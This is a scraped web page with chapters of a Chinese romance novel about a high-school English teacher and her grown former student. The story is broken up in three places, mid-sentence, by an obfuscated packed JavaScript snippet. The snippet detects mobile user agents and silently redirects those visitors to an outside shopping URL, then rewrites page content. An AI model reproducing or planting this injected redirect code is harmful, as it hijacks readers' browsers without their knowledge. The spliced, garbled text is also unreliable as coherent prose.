RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427788|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呃……”李知难答应后又觉得有些不妥,“要不还是算了吧,怪麻烦的,其实我现在也没有很喜欢黎明。” 李北辰的二维码已经打开等着她:“一点也不麻烦,您扫我吧?” “那票多少钱?我回头转给你。” “好啊,您先扫我吧。” 李知难像是被催命似的,催着扫了二维码。 她脑子里在回想,刚才问他工作的时候,他说他现在是干嘛的来着?怎么那么像是地铁商场里搞地推的,满嘴全是扫码。 门突然开了。 “小李同学,你怎么在这儿?”曲子格看着屋里的两个人,一脸诧异。 “下课了?”李知难看了看表。 “没有,我刚才拿器材,发现门关上了,我这门下面放了东西掩着呢,不应该关着,有点奇怪,就过来看看。” “我刚才不小心把门锁上了,连累李老师也出不去。”李北辰解释道,“幸亏曲老师您心细发现,您的观察力太敏锐了,不愧是体育老师。” 他将恭维的话说得异常真诚。 曲子格被这真诚打动得脸色微红:“嗨,也,没什么,就,下意识,下意识。” “那我就不打扰您工作了,我先走了,”李北辰起身,突然动作又停了下来,从口袋里掏出了那盒糖,放到了李知难身侧的桌子上:“李老师这个送给您,注意保护嗓子。” 他对二人点头,恭恭敬敬地离开了办公室。 李知难觉得怪怪的,但是又说不上来哪里怪。 “他给你的什么?”曲子格好奇地凑过来,“喉糖?” 李知难点了点头。 “他给你糖干嘛?” “吃呗。”李知难将喉糖收进了口袋,眼不见为净。 “我还以为他早走了呢,你不是说他以前也是咱们高中的吗?难不成还在母校迷路了?”曲子格看着李北辰的背影不解道。 “早走了?”李知难问。 “是啊,我上午把钱转给他了,他非说要给我一个收据,”曲子格拿出了一张薄薄的纸片,“我也不知道什么意思,他非要给,问我能不能顺道给我送到学校来,我就让他来学校了。” “什么时候的事?” “午休前,”曲子格答,“还以为他早走了呢,看来可能是在母校又逛了逛。” 李知难思索着自己奇怪的不对劲。 曲子格八卦道:“哎,他以前上学的时候什么样啊?” “你问这个干嘛?” 曲子格倒也坦然:“我你又不是不知道,我见着帅哥就忍不住打听呗。” “我……不记得了。”李知难撒谎。 曲子格挑了挑眉:“你说他为什么要专门来学校找我一趟?” “嗯?” 曲子格的脑瓜也开始转了起来:“真的是为了给我一个收据?这也太像是借口了吧。” “什么借口?”李知难生怕她发现什么。 曲子格理所当然道:“故意找机会来见某人的借口呗。” “什么啊……”她不知道如何接才显得不刻意。 “知难,你说这是不是命运的安排?” “什么?” “你这位学生,”曲子格凑上前小声道:“该不会是看上我了吧?” “你想啊,我抓出轨的前男友,突然撞上了豪车,豪车里走下来一绝世帅哥,可以不要我赔钱,也可以要我赔全款,可是他偏偏让我赔五千块,这不就是既能了结事故,又能开展故事的数目么!而且他都专门跑到学校来找我了……” 李知难:果然她的脑瓜转不到正经地方。可曲子格将这个念头说出来,她瞬间的嗤之以鼻,也应该捎带上自己,毕竟有这种荒唐念头的人,不止她一个。 李知难打断了她的幻想:“曲子格,你知不知道你跟他差多少岁?” “他多大?” 李知难想了想纪修的年龄,回道:“二十五。” 曲子格算了算自己的岁数,答:“女大三,抱金砖。” “你跟人家差的是三岁吗?是九岁好吗!” “那就抱三块儿呗!”曲子格回得天衣无缝。 4. 玫瑰与向日葵 次日,李知难收到了李北辰传来的微信。两张电子观影票和一条留言:李老师,这是两张本周六的票,祝您和先生观影开心。 谢谢,多少钱,我转给你。 不用了,内部票是免费的。 这不太合适,我还是按市场价转给你吧。 李知难在网上搜了下价格,转了钱过去。 李北辰将钱退了回来。 就当是我送您的教师节礼物吧,以前送您的您不是不喜欢么。 那年的高二七班内一片嘈杂。 “静一静,静一静。”班长周荟喊道,“下周一就是九月十号教师节,咱们一共是六个主科老师,副科老师就不送了,一束花是九十五,大家要是没有意见,一会儿我就负责去订花了。” “好。” “可以。” “辛苦班长了。” 周荟:“统一全是满天星加向日葵,没意见吧?” “没有。”众人喊道。 “但是六束花我一个人拿不了,周一早上需要有位同学跟我一起去花店搬一下,男同学里有没有自愿的?”周荟问。 众人面面相觑。 李北辰伸出了手:“我和你去。” “哎哟——”讲台下传来了起哄声,周荟的脸被臊得有些红。 “瞎叫唤什么!”她嗔道,“行,那李北辰周一早上八点你在北门花店等我。” “好。” “周一早上八点你在北门花店等我~”好事的男同学将她的话用扭扭捏捏的尖嗓子重复了一遍,引得一片笑声。 周荟将粉笔头扔了过去:“你要是这么羡慕,那周一早上你跟李北辰去拿花。” “别别别,”男生赶紧讨饶,“我开玩笑呢大班长,错了错了。” “我笑了么?”周荟严肃地看着他。 “错了错了错了,真的错了,再也不敢了。”男生双手合十,态度恳切。 周荟白了他一眼,转身离开了教室。 男生小声嘟囔道:“她暗恋李北辰这事就跟谁不知道似的……” 周一清晨,李北辰按时来到花店门口。 花店老板正一脸歉意地跟周荟解释:“你们学校每个班都买,全是向日葵,我真的不够数了。” “可是我周五就跟您定好了的!”周荟急道。 “是,可人家还周三周四就定了呢!”老板有些耍赖地回。 “您怎么能这样!您周五也是答应了我的!”周荟的脸气鼓鼓的,“我明明看着刚才她们加了钱您从我们的花里挑了束给她们!” “怎么了?”李北辰上前问道。 “订好了六束满天星加向日葵,可是老板说少一束。” “老板,我们之前定好的。”李北辰说道。 “我这几天也忙晕了,”老板也不提自己理亏,“现在我真是没地儿给你变出来一束,要不然你换一个。” “那哪行,六个老师都得是一样的,您别的有六束一摸一样的吗?”周荟反问。 “六束……可这五束你也订好了,你不买走那我卖谁去呢?”老板无奈道,“你就找一个老师送不一样的呗,他们老师今天一天收好些花呢,不见得能看出区别来!” 李北辰眼睛悄悄地闪着光,突然转换了立场:“那也没办法了,要不然换一束吧。” “还是这位男同学讲道理,”老板笑意盈盈,“你看你想要换个什么,我给你打折。” 周荟见他倒戈,也没有别的办法:“那您给我包几束百合吧。” 李北辰拍了拍周荟肩膀:“你去外面等吧,里面乱,我去看着他包,你别生气了。” 周荟被他这简单的一句话说得心情瞬时好了许多,点了点头走了出去。 “那这束特殊的给谁?”二人抱着花往回走,周荟为难问道。 “给李老师吧。”李北辰提议道。 “为什么?” “李老师年轻,肯定不在乎这些。” “要不还是给老班吧,毕竟自己的班主任……” “得罪了老班,回头咱们不得被呲儿一年,李老师好说话,一会儿你去给别的老师送,李老师的我送。”李北辰拍了拍她肩膀:“放心,保证没问题。” “谢谢你,李北辰。”周荟觉得,有李北辰在,再大的难题似乎也不过是毛毛雨般的小事。却全然不知他心底里暗藏的心思。 早自习开始,周荟和李北辰兵分两路去送礼物,为了不露馅,李北辰特地将那束颜色不一样的花包裹得严严实实。 “报告。”李北辰在办公室门口喊道,声音有些抖。 办公室内只有李知难一个人在忙着改教案,头也没抬地回了句:“请进。” “李老师,教师节快乐。”李北辰走到她面前递过花,手有些抖。 李知难知道了他的来意,笑着接过了花:“谢谢啊,怎么还裹得这么严实?” “您打开看看。”李北辰有些紧张。 她看着男孩一脸的心思,狐疑地解开束带,映入眼帘的是一片耀眼的鲜红。 “玫瑰?”李知难有些意外,表情不甚明朗。 “呃,”李北辰咽了下口水,乱解释道:“花店老板说今天就只剩玫瑰了。” 此时,魏老师恰好捧着花走了进来:“小李,你看,七班今年送的向日葵还挺好看。” 李知难再次不悦地望向李北辰。 “有一束弄错了。”他尴尬解释,“临时买的,真的只有玫瑰了,别的都被人订走了。” “错的就给我了?”李知难一脸哭笑不得。 “对不起李老师。”李北辰没了刚才的雀跃,低下头闷声道歉。 李知难这才笑了笑,拍了拍他的肩膀:“行了,没事的,有这份心就行了。” “您不生气吧?”他试探地问。 “我生什么气,收到花我很高兴,谢谢你们,有心了。不过明年就别送这些了,送我一个英语年级第一,给我长长脸多好。” 李北辰有些不死心,追问道:“那,您会更喜欢这束花吗?” “嗯?” “我是说,向日葵和玫瑰,您会更喜欢玫瑰吗?” “我都挺喜欢的。” “我想送您玫瑰。”李北辰突然唐突说道。 声音不大,只有他们两个人能听到。 李知难的笑意凝在了脸上。 “我觉得您跟玫瑰更配。”李北辰慌张解释。 “回去上课吧。”李知难打断了这段对话,不想再听他讲下去。 “李老师,”李北辰鼓足了勇气,在她耳边小声道,“玫瑰是我选的。”说罢飞快地跑出了办公室,再藏不住半点心思。 “慢点儿!”魏老师在后面喊道,“这帮孩子,怎么毛毛躁躁的!” 傍晚,李北辰放学后特意在教师办公室外绕了一圈,今天的办公室格外漂亮,每个老师桌子上都多了些装饰。 他像是不舍得一样,把周围老师的桌子都来回看了几遍,最后才敢去望向李知难的。 夕阳洒在她的桌子上,上面有贺卡,有学生送的小摆件,还有空着的花瓶。 李北辰心里突然亮了盏灯:她喜欢那束花,喜欢到带回家的程度了? 因为是玫瑰吗? 因为是我送的玫瑰吗? 李北辰的嘴角忍不住挂着笑,想藏都藏不起来的那种,在脸上夸张地吐露着他的秘密。渐渐的,他觉得脚底都轻盈起来,像是逃脱了重力,随时可以起飞,他向着停车棚的方向跑,风将他的校服外套吹起,迎面而来的满是快乐。 然而,这份快乐却在经过垃圾站时被定格了。 那束红色的玫瑰花,正安稳地躺在那里,带着边缘枯萎的黑纹,萎靡地躺在各种垃圾之间。 主持人在台上询问着:“还有没有观众朋友有什么问题想问我们黎明先生的?” 李知难有些犹豫,突然身旁的宋乐举起了手。 李知难想拦他,话筒已经递了过来:“这位先生。” 宋乐紧张地搓了搓手,问候道:“黎明先生您好,我太太是您的忠实粉丝。” 台前的黎明彬彬有礼地问候:“你好,谢谢你太太的支持,也谢谢你支持你的太太。” 众人哄笑。 宋乐跟着一起笑,李知难扽了扽他的衣角。 宋乐拉住了她的手,继续说道:“她十几年前就特别喜欢您,我们内时候约会的时候,我第一次去她家,她屋子里贴满了您的海报,我一进去,好家伙,给我吓一跳。” 宋乐没头脑地说着过去的故事。 “我其实也没有什么特别想说的,就是想告诉您,您有这么一个粉丝,她特别支持您,希望您,呃,希望您万事如意吧。” 主持人适当地打着圆场:“谢谢这位粉丝的先生,非常温暖的话给到了黎明先生,也给到了我们在场的喜爱黎明先生的观众,就像是这部电影一样……” 他话还没说完,宋乐突然想起了什么,可话筒已经被收走,他便扯着嗓子喊了句:“她叫李知难!” 主持人:“好,谢谢谢谢。那我们继续回到刚才电影的话题……” 李知难小声嗔道:“你喊什么……” 她觉得有些丢人。 “我就是觉得他应该知道。” “什么?” “他应该知道你叫什么。” “你有病吧,他粉丝那么多,他还能全知道?” 退场后,李知难和宋乐随着人流离开,她忍不住把头低得更低些,生怕刚才电影院里的人认出来她就是那个疯狂先生的疯狂太太。 “李小姐。”突然有人拦住了她。“您是李知难小姐对吧?” 李知难点头。 那人一副保镖打扮,白衬衣黑西装黑领带,耳朵挂着耳麦。 宋乐防备地把李知难围在了身后。“怎么了?” 他从身后拿出了一束花,很小一束,被精心包装过,一朵向日葵,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427789|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 朵康乃馨,一支满天星。 “这个送给您。” 宋乐有些莫名其妙,可李知难当下立刻就懂了。 少年李北辰打着蔫儿:“您说喜欢玫瑰的。” “我男朋友心眼儿小,让他看见怕他误会。”李知难解释,她一语双关道:“以后要是没有向日葵了,就送康乃馨吧。玫瑰不合适。” 李知难接过了那束小花。“他人呢?” 安保不回答,只是礼貌点头鞠躬离开。 “谁人啊?”宋乐狐疑。 “没谁。”李知难敷衍答。 “你不是问他人呢?”宋乐抓住她话的漏洞,“谁人?” “黎明。” “谁?” “黎明呗,不然还能是谁有这么大的本事让人家保镖给送花。” “黎明能知道你叫什么?”宋乐反驳。 “不是你刚告诉他的么?” 宋乐皱着眉:“你是不是背着我有什么……” “宋乐,”李知难打断了他,“你说话小心点。” 晚上九点,曲子格按照导航来到了三里屯的意大利餐厅,看着独自大快朵颐的李知难上来就是一嗓子:“丫宋乐给你自己扔这儿了?” “不是,”李知难示意她小声点,“我打车过来的。” “他就自己走了?”曲子格声讨道。 “嗯。”李知难不以为意地答,嘴上也没停下吃。 “你不是说他人好么?这他妈叫人好?”曲子格撇嘴。 李知难:“我是说他人好,又没说他脾气好。” “你图他什么啊!”曲子格恨铁不成钢。 “稳定。”李知难八风不动地咬着披萨,递了片给她:“赶紧吃,一会儿我就都吃没了。” 曲子格看着旁边的酒单,提议道:“那喝点?” 李知难点头:“喝点。” 酒过三巡。曲子格话开始多起来,比她平时的话量还要再密几分。 “知难,我今儿值班,你猜遇着谁了?” 李知难还没来得及回答。 “吴思齐。” 李知难脑子需要反应一会儿才能对上号。 “就是那个新来的物理老师,老陈的金童,老朱的继承者,新任掌管你们三班和二班杠杆滑轮摩擦力的神——吴思齐。” “哦。”李知难听她这一通前缀,只应了这么一声。 “你不觉得他挺帅的么?” 李知难皱眉加撇嘴。 “我问你干嘛啊?你知道什么叫帅哥吗?你呀,就是上天给你太多了,所以拿走了你的审美,你根本不懂帅哥。可是你不懂,你不能不许别人喜欢啊?”曲子格上纲上线的。 李知难冷哼:“那你喜欢的人也太多了好吗?” “那是我的错吗?” “难道是我的?” 曲子格摇头,手指指了指上面:“是老天的,制造出太多的帅哥出来迷惑我了。” “你确定老天的本意是这样的吗?” “反正我今天跟他一起值班,心跳的啊,蹦蹦蹦蹦蹦,二踢响你知道吗,就是一天脑袋里放二踢响,要疯了。” “北京市禁止燃放烟花爆竹。”李知难扫她的兴,“你消停会吧。” “你就没有过这种感觉?”曲子格用手比划着,“心动,疯狂的心动。” “……” “你回想一下,你跟宋乐刚开始的时候,怎么也有过吧?” 李知难灌了口酒,摇头:“没有。” “没有心动你跟他结什么婚?” “有房啊,”李知难回,“二百平的学区房。” “物质,庸俗。”曲子格不屑道,“你这辈子就没有过一次疯狂的心动吗?” “曲子格,你现在就跟传销的似的。”李知难不接话。 “一次都没有过,疯狂的心动?” “你是不是下一秒就要卖给我课了曲大师?”李知难继续茬题。 “李知难,你认真点!”曲子格摁住了她的肩膀,双眼直视她:“回答我,你这辈子有没有过一次疯狂的心动?” 李知难咽了下口水,轻咳一声,回道:“没有。” 曲子格一把将她松开,一脸孺子不可教:“李知难,你的心是什么做的?嗯?秤砣吗?” 李知难又灌了一大杯。 她突然就不想听到曲子格的声音了,这个女人的脑袋见天儿就会琢磨男人、爱情,这些没用的破玩意儿,这些东西就跟传染病似的,稍微一个不注意,就想往人心口里钻。 她老在耳边这么念叨念叨,自己早晚会被她传染。 迷糊中,她睁开眼,放佛又看到了那双眼睛。 看,稍不注意就趁虚而入。 那双眼睛真诚,良善,关切,深情。 什么狗屁爱情,不过就是老天爷闲着没事挖出来坑人的陷阱,傻逼才上当。 恍惚间,她觉得自己的嘴唇被柔软地覆盖住。 5. 红五月的开始 酒醒后的李知难看着周围完全陌生的环境,脑海中第一个回想起的,是作为清醒记忆的终结点——那个吻。 李北辰亲我了? 还是,我亲他了? 我穿衣服了吧? 李知难慌张地检查。 呃……穿了……一半。 “李老师,你醒了?”李北辰穿着白色的T恤格子居家裤,搭配着窗外阳光洒进屋的清爽。 “你带我回来的?”她清了清嗓子,试图掩饰尴尬。 阳光中的李北辰温柔地点头。 阴影处的李知难双手不由攥紧。 我这是……跟他……酒后? “知难!”曲子格穿着一件明显不属于她的宽大T恤从卫生间走出来,“你醒了?” 李知难被她喊得头疼:“什么情况?” “昨天咱俩喝多了,就来李北辰同学家住了一宿。”曲子格解释,“你别起来啊,你没穿裤子,我昨天吐你裤子上了,所以就给你脱了。” 李知难咬牙恨恨:“你脱我裤子干嘛!” “都说了,吐你裤子上了,骺臭的,我跟你睡一个床,你不怕熏我还怕呢。”曲子格压根没意识到李知难的愤怒。 “李北辰,”李知难抬了抬手指指着外面:“你先出去。” “好。”李北辰老实地后退,他的房子虽然不小,但因为独居的原因,设计时卧室和客厅之间并没有门,只有个算不得上遮挡的书架。 李北辰环看一周,乖乖地去了最遥远的厨房。 “什么情况!”李知难这才敢吐露情绪,咬牙切齿问道。 “你耳背是怎么着,不是解释了吗,喝多了……” “你别给我放屁,一个喝多了还能俩都多?他李北辰是金刚吗?能一手一个给咱俩扛回来?” “呃……你喝多了,我还能走。”曲子格立马就招。 “能走你给我弄他家来干嘛!”李知难的后槽牙都快被自己咬碎了。 “那去哪?”曲子格反问。 “……”李知难语塞。 回自己家,酒醉的自己搭配宋乐和曲子格,他俩非得狗咬狗一嘴毛。而曲子格和父母住一起,去她家也不现实。 “那你开个房不行么?”李知难想到了解决办法。 “我的工资都用来修车了,我哪来的闲钱?”曲子格回答得天经地义。 “我出还不行么!” “你?”曲子格表情夸张,“您零钱凑够十块就舍不得破了,您还能舍得住酒店?” 李知难:“怎么也不能跑到陌生男人家来啊!” “陌生什么,你自己说的一日为师,他都是你儿子了,你就行行好帮帮我,就当学雷锋做好事了。” “啥?”李知难听不懂她的逻辑。 “雷锋不准确,学红娘吧,帮崔莺莺。”曲子格把自己的司马昭之心露了出来。 “啥?”李知难宿醉的痛苦已经经不起任何蹂躏。 “世间本没有机会,创造的人多了,才有了机会!”曲子格道,“他邀请我来他家,我总不能因为你一个醉鬼痛失这种和帅哥过夜的机会吧?” “啥??” “看这衣服好看吗?”曲子格拎着自己身上的宽大T恤,下巴指了指厨房,“李北辰的。” “你是不是疯了?”李知难已经控制不住想打人了。 “哎,你们已婚妇女真的,”曲子格去阳台上拿下李知难已经晾干的裤子,“太爱大惊小怪了。” 李知难试图联系起之前的回忆:“不是,你昨晚不是还心动那个吴,吴什么来着么?” 曲子格:“思齐。见贤思齐,见帅哥就先不思了,先思春。我这个人,心二十四个小时都在动。” “你可给我消停会儿吧!”李知难慌慌张张地穿上裤子,“换衣服走人。” 曲子格:“为什么?” “你走不走?” “不走。” “不走我走。” 李北辰听到了“嘭”的一声门响,便好奇从厨房走出来,屋子里李知难已经消失无踪,他看着原地罚站的曲子格,客气问道:“曲老师,李老师她……” 曲子格嘴和脑子同步着:“她,那个,家里有点事,你饿不饿,呃,我们要不要,呃,操。” 她突然骂了句脏话,听得李北辰一愣。 曲子格雷厉风行地拎起了包:“我不放心她一个人走,先走了,咱们,呃,算了吧。” 曲子格关上了李北辰家的防盗门,那清脆的撞门声彷佛是她的桃花运在鸡飞蛋打。 “真让李知难说对了,我就是没起子!”她忍不住怨自己狠不下心。 周一升旗仪式,学生们整齐地站在国旗下听陈校长讲话,李知难和其他的班主任一样,都站在自己班级队伍的最后面。 李知难隐约听到前面男生在交头接耳。 “真的?” “都是为了穆婷婷,秦梓轩真是倒霉。” “那穆婷婷怎么说?” “你没看她眼睛都哭肿了么?” “喔,怎么跟演电影似的。” 青春的闹剧比电影里的情节还精彩纷呈,还花样百出,还荒诞不经,可偏偏这些真实的剧情每天都在上演。 李知难有时候觉得,青春的荷尔蒙分泌旺盛,在某种程度上也算是一种病,一种内分泌失调的病。只不过因为年轻,就有了犯错的借口,美化的滤镜,就有了另外一种形容——少年轻狂。 而其本质,和更年期也没什么不同。可更年期就没这么好的运气,不过多了几根皱纹,几斤肥肉,几颗色斑,少年轻狂急转直下变成中年疯癫。 归根到底还是占了年轻的便宜。好像年轻,做什么都可以,也做什么都可以被原谅。 李知难故意将刚才聊天的男学生当着班级一众学生的面留在了操场上问话。 午休,李知难叫穆婷婷来办公室。李知难才抬头看她一眼,就把她脸上的表情读明白了:我知道你知道,我也知道你知道我知道,但是我决定装作什么都不知道。 “你有什么要跟我说的吗?”李知难拿出了例行钓鱼话术。 穆婷婷低头不回答。 “没有啊?”李知难又问了一遍。 穆婷婷还是不说话。 “那你回去吧,叫秦梓轩过来。” 打蛇得打七寸,拿捏学生要拿捏软肋。 “李老师……”穆婷婷动摇了下,“跟他没关系。” “那你跟我说说,跟谁有关系?” 每个学校都会有位校花,也会有位校草,运气好的时候,这两位人物会存在在各自的年级,八杆子打不着,自己风光自己的;运气再差点,他们在各自的班级,也算是有一定距离;运气最差的就是李知难班里这种情况,俩位骨朵儿都好死不死地长在她的花园里了。 对于电视剧来说,这是天助我也。 对于园丁来说,这是鸡飞狗跳。 谁都知道当老师的要管早恋,可当老师的都知道早恋这事谁也管不了。 曲子格啃着红烧鸡块,问道:“所以呢?到底是怎么回事?” “校外的社会闲散人员看上穆婷婷了,秦梓轩自不量力把人揍了。” “那他俩?”曲子格八卦道。 “秦梓轩不会早恋的。” “李知难你这就偏心了,我们穆婷婷配不上他是怎么着?” 李知难:“穆婷婷以前就谈过男朋友,她是个正常的女孩,秦梓轩不一样。” “你这班主任真有意思,早恋的正常,不早恋的反倒不正常了?你是不是在跟咱们的教育方针唱反调呢?”曲子格学着陈校长的架势,用手敲她。 李知难:“我问你,你高中的时候没情窦初开过?” “我现在也还开着呢……”曲子格没皮没脸地调侃自己,“年年都开,光顾着开了,也不结个果。” “所以我说秦梓轩不一样。” “哪不一样?他是gay?”曲子格夸张地推测道。 “……” “那他怎么不一样了?” “他家庭情况不同,哎,我跟你也说不清。”李知难不愿谈学生的家庭细节,“说别的吧,红五月马上开始了,你今年出什么活动?” 红五月汇报演出从最初的合唱比赛一年年传承下来,已经成为每年最大的文化活动,恰逢今年50周年庆,各路文艺汇演,体育赛事,花样层出不穷,努力地向社会展示着这帮花骨朵儿们的综合素质和全面素养。 曲子格:“老陈让组织参加篮球比赛。” “那你多选几个我们班的呗?”李知难试图走个后门。 “那你去跟老陈说,让他换成足球多好,能上11个人呢。” “篮球不能?” 曲子格翻了个大白眼:“你懂不懂运动?篮球比赛哪用得着那么多人?” “你多安排点呗……”李知难道。 “奥委会主席,NBA主席都没这本事,我一个小小高中体育老师,我说的算啊?” “在咱们学校,您曲老师可比他们官儿大。”李知难捧着她说。 “少拍马屁,一个班最多上一个,我再爱你,也只能再给你加一个替补名额。” “你选了谁?秦梓轩?”李知难问道。他是校篮球队新队长,三班这唯一的名额肯定是给了他。 “嗯,定了他了。”曲子格点头。 “再加一个吧,我们班邵冲不行么?他一米九多呢!”李知难推销道。 曲子格无语:“打篮球又不是光靠个儿。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14427790|153793||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “可个儿高总是优势吧?” 曲子格指了指窗外:“那我去门口选五个电线杆子来打得了,它们最高。” “……” 曲子格还是多少卖了她个面子:“邵冲替补,给你面子了啊!” 李知难一盘算,兹要有个头疼脑热,碰胳膊扭脚脖的,邵冲就有戏,见好就收道:“成,谢谢曲老师。” “小李,你在这儿呢?”年级主任徐老师拎着刚洗好的饭盒在门口发现了她。 她有种偷懒被抓的感觉:“呃,来找曲老师问问我们班体育成绩。” 徐老师一脸心知肚明:“行,你完事了赶紧回来,咱们开个短会聊聊红五月。” “好嘞。” 午休后的办公室内坐满了各个班级的班主任,令李知难意外的是,徐主任旁边坐着的是新来的音乐老师奚西。 “小奚老师今年主要负责咱们红五月的演艺活动内容,大家也知道,今年是示范校十周年,市里很重视咱们学生的综合素质,这次红五月50周年庆也是展现咱们学生综合风貌的机会。”徐主任说着开场白,“前几年咱们的成绩啊,不太理想,主要责任也在我们这些老同志,思想还是不够新潮,现在这个时代,今时不同往日了,唱个爱国歌曲,表演乐器才艺,我们觉得就挺好,但是前几年咱们兄弟校都出了新招,挺意外的,也挺大胆。” 李知难想起了去年红五月兄弟校演的那出新编红楼梦,拿出去卖票都可以了,长江的后浪不是开玩笑的。 “今年咱们也有底气了,小奚老师,来,跟大家说说你的想法。” 奚西站了起来,手指一点,一向在这种短会中作为摆设的幕布上突然出现了PPT。 “今年我们打算做一些不一样的,我研究了一下咱们学生的资料,最终想提议做一部音乐剧。” 下面一片碎碎念。 “音乐剧?” “是不是太麻烦了?” “哪儿有时间……” 奚西:“我知道各位老师的顾虑,怕耽误学生学习,也怕家长那边不同意,所以我们这次决定做一部英文版的新编剧。这样呢,一方面可以体现咱们的音乐素养,表演水平,也可以提高英语水平。而且,音乐剧已经不是创新了,别的学校早就在搞了,说实话,咱们之前的节目一直吊车尾,和其他学校的水平已经差了很多。逆水行舟,不进则退,我们还在按照老思想怕麻烦怕耽误时间的时候,其他学校几年前就已经实现了全面发展。” 底下一片沉默。 “作为十周年的献礼剧,如果能拿个一等奖回来,我觉得也是对各位老师工作的肯定。”奚西深谙谈判技巧,一通贬低后又扔出来个骨头,李知难没想到她一个国外留学回来的海龟,倒是很精通人情世故。 “陈校长已经同意了,咱们需要做的呢,就是配合一下奚西老师的工作,包括但不限于大家的时间,学生的动员工作,等等吧,好不好。”徐主任适时补充,告诉大家这也不是需要再讨论的事,服从命令听指挥就得了。 “所以我需要各位班主任帮忙,在台词方面还需要几位英语老师的帮助。”奚西说道。 “这个没问题的。”徐主任大包大揽,“这几位英语老师都会全力配合你。” 另一位同为班主任和英语老师的石老师犹豫道:“音乐剧是不是太麻烦了?我不是嫌英语这块麻烦啊,我多花点时间是没什么的,我表个态,我完全支持。但是这个音乐,奚西老师自己写吗?还是从哪弄呢?会不会有版权的麻烦啊?这些都是问题,不是靠咱们下下决心就能解决的。” “涉及到音乐的问题,我会在校外找一些资源支持,我有一位师兄,目前在可能音乐做制作人,他恰好也是咱们学校的校友,陈校长也在争取赞助,请大家放心。”奚西解释道。 李知难心底生出不好的预感。 她试探问道:“还要找校外的赞助?可能音乐这么大的公司会帮我们吗?” 奚西口气倒很是笃定,回道:“现有的资源嘛,合理利用一下。” 会后,她拨通了纪修的电话:“你知道李北辰现在在做什么么?” “作曲?”他带着些不确定。 “哪个公司?” “我没太记住,公司名挺奇怪的,好像,概率,什么玩意的。” “可能音乐?” “对,是这个名字。” “你知不知道他最近有没有计划要……” 她还没问完,陈校长在办公室外面对她招手,她只得先挂掉电话稍后再说。 “小李啊,你以前有个学生叫李北辰,你还记得吗?”陈校长喜笑颜开地介绍道。 李知难这边脸开始僵。 “那个,你帮我个忙吧?好不好?”老陈脸上出现了熟悉的老狐狸神色。 6. 学校和社会 从学生走向社会开始,学生和老师的位置就变了。 大多是形同陌路,你记不得人生若干个老师中不起眼的他,他也想不起无数个学生里不起眼的你。有些会活在闲谈中,他怎么你了,你怎么过他,互相成为人生中点缀陈年旧事稍有颜色的一笔。 偶尔,会有调个个儿的。 曾经鞠躬敬礼的学生成了饭桌上的张总李总,昔日“高高在上”的你不得不端着酒杯谦恭地说:“来,我敬你一杯。” 张总李总们嘴上说:“老师您看看您,跟我还客气什么,有事只要您一声吩咐。” 手上却又倒满了酒:“老师,不喝就是不给我面子。” 李知难在包间外给家里打了个电话报备。 “你一个高中英语老师能有什么饭局?”宋乐在电话那边质问。 “我们校长要托个人情。”李知难如实交代。 “那为什么非要带你去?” “对方是我以前带过的学生。” “魏老师没带过他?徐老师没带过他?满学校就你一个人带过他?”宋乐毫不留情地把不体面的实情放到明面上,“我看就因为你漂亮呗。” “你也说了,我就是一个高中英语老师,有什么可漂亮的?” “……”宋乐被她噎住。 “我就是跟你说一声,晚点回去,挂了。”李知难挂掉了电话。 她收拾好情绪再次回到了包间里。 “李老师喝什么?”可能音乐的老总姓吴,派头十足地坐在主位,左右分别是陈校长和李北辰。 陈校长:“喝点啤的吧,好不好?” 李北辰:“李老师还是喝果汁吧?” 李知难下意识走到了李北辰旁边坐下。 李北辰抢先在吴总之前对服务员说道:“帮我上一扎橙汁。” 李知难敏锐地抓住了那个“扎”字。挺好,听起来就是能踏实喝一宿也喝不完的样子。 酒菜上完,气氛正酣,一些体面的恭维话也都差不多说尽。 “李老师,我们北辰小时候是个什么样的学生啊?”吴总突然话锋一转,问道。 “挺好的,挺乖的。”李知难随口回答。 “跟现在差别大吗?”他挑着眉毛好奇。 “嗯,差不多吧。”李知难回答得仍旧含糊。 “那是不是很受女生欢迎啊?”吴总这回没再大撒网,选了个精准的问题提问。 李知难也不知道回什么合适,打着马虎眼:“呃,我不太记得了。” 也许是酒下了肚,话就忍不住多起来,吴总侃侃道:“你看我们公司艺人歌手挺多的,按理来说是个不缺帅哥的地方吧?但是我们年会上,全公司最想谈恋爱的男性第一名,票选结果就是他。人送外号理想情人,温柔,周到,体贴,就连保洁阿姨都喜欢他。” 李北辰在旁陪笑,余光却瞥向李知难这边。只见她专心地喝着橙汁,对吴总嘴里的这些八卦没有半点兴趣。他低头玩弄着手边的餐巾,眼睛时不时不死心地再瞥过去,答案都一样。 “李北辰上学的时候表现就很好,他成绩一直不错。”陈校长自然不能让气氛冷下来,接话道。 李知难心道,你好歹也查一查再说,他那个理科成绩还叫不错? “至于评奖这块,他在学校就很有得奖经验。我记得,当初还被评选为我们北京市的道德标兵呢。”陈校长抖落着临时抱佛脚搜罗出来的记录。 